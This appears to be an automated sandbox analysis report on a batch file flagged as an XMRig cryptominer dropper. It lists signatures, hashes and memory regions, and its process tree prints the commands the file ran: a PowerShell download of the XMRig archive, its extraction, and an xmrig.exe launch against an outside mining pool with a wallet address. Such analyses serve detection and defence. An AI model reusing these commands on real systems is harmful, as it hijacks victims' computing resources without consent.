Analysis

  • max time kernel
    1811s
  • max time network
    1823s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    22/12/2023, 08:52

General

  • Target

    tesy - Copy (6).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (6).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4876
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1236
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4420
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3328

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    95a03b8d0e9d2906f7443f02afb8ec89

    SHA1

    cd0df0f1221d896c1468bb3f992c92d4ee8f9c01

    SHA256

    b27574bf70526ac084dd17a63458561a4a9ce11c1ef895ecdd95d4f02b9bf22f

    SHA512

    e011724cb6d15791c9dbd2872d6184e85ac52e84bad168f4138d21fe2a728ff5e992e88fd82719751f8f744d63b2d84aa5f1c4e65a9c019f30b8e962bd6e2ba7

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0nhzo31z.lpg.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    1.0MB

    MD5

    9ffc09246e52bdd54b4f5c2f8b6a1496

    SHA1

    c8e32802613eda5676a111fc9995c25a8b058454

    SHA256

    5c5687dfd3d9ae5eb1b8dd71626662d8c5590d1a7c2e248a164683ac09a9552f

    SHA512

    32de2f4a967bcc29bc445d0642d01f77b71b7b3617e2ebdbe91a8c4f3e2f0d48dcc204e429b74d0cabf3993dc5a9c4f2648d6e1f513639f1aea366845fb98289

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    1.2MB

    MD5

    e9cbfbdaa806dd8ca57e082b127d5d99

    SHA1

    c46b6e6586d2dd8547611bdcfeb43a5a23010b13

    SHA256

    4547d596355f4e5f07d3b94eff8aa99b84f5403f158e5c16db3dd1afc75c33ed

    SHA512

    b1d02228d2211ab642b55e818ebfffb8c2e2ff70f95b47c98c2a442ab007af029a544bafcb2a6f1697994d6537fa9dc19ff5f91c87bd19fc16d2d8e0e91f8c50

  • memory/1236-4-0x0000016E18560000-0x0000016E18582000-memory.dmp

    Filesize

    136KB

  • memory/1236-6-0x00007FFDC6CD0000-0x00007FFDC76BC000-memory.dmp

    Filesize

    9.9MB

  • memory/1236-8-0x0000016E18370000-0x0000016E18380000-memory.dmp

    Filesize

    64KB

  • memory/1236-9-0x0000016E18370000-0x0000016E18380000-memory.dmp

    Filesize

    64KB

  • memory/1236-10-0x0000016E18690000-0x0000016E18706000-memory.dmp

    Filesize

    472KB

  • memory/1236-25-0x0000016E18370000-0x0000016E18380000-memory.dmp

    Filesize

    64KB

  • memory/1236-30-0x00007FFDC6CD0000-0x00007FFDC76BC000-memory.dmp

    Filesize

    9.9MB

  • memory/3328-142-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-147-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-184-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-183-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-182-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-181-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-180-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-117-0x0000011C9EC20000-0x0000011C9EC60000-memory.dmp

    Filesize

    256KB

  • memory/3328-118-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-119-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-120-0x0000011C9EC60000-0x0000011C9EC80000-memory.dmp

    Filesize

    128KB

  • memory/3328-121-0x0000011C9EC80000-0x0000011C9ECA0000-memory.dmp

    Filesize

    128KB

  • memory/3328-122-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-123-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-124-0x0000011C9EC60000-0x0000011C9EC80000-memory.dmp

    Filesize

    128KB

  • memory/3328-125-0x0000011C9EC80000-0x0000011C9ECA0000-memory.dmp

    Filesize

    128KB

  • memory/3328-126-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-127-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-128-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-129-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-130-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-131-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-132-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-133-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-134-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-135-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-136-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-137-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-138-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-139-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-140-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-141-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-116-0x0000011C9D240000-0x0000011C9D260000-memory.dmp

    Filesize

    128KB

  • memory/3328-143-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-144-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-145-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-146-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-179-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-148-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-149-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-150-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-151-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-152-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-153-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-154-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-155-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-156-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-157-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-158-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-159-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-160-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-161-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-162-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-163-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-164-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-165-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-166-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-167-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-168-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-169-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-170-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-171-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-172-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-173-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-174-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-175-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-176-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-177-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/3328-178-0x00007FF701B20000-0x00007FF702623000-memory.dmp

    Filesize

    11.0MB

  • memory/4420-38-0x00000215A21A0000-0x00000215A21B0000-memory.dmp

    Filesize

    64KB

  • memory/4420-37-0x00000215A21A0000-0x00000215A21B0000-memory.dmp

    Filesize

    64KB

  • memory/4420-89-0x00000215A2400000-0x00000215A240A000-memory.dmp

    Filesize

    40KB

  • memory/4420-76-0x00000215A2410000-0x00000215A2422000-memory.dmp

    Filesize

    72KB

  • memory/4420-62-0x00000215A21A0000-0x00000215A21B0000-memory.dmp

    Filesize

    64KB

  • memory/4420-36-0x00007FFDC6CD0000-0x00007FFDC76BC000-memory.dmp

    Filesize

    9.9MB

  • memory/4420-113-0x00007FFDC6CD0000-0x00007FFDC76BC000-memory.dmp

    Filesize

    9.9MB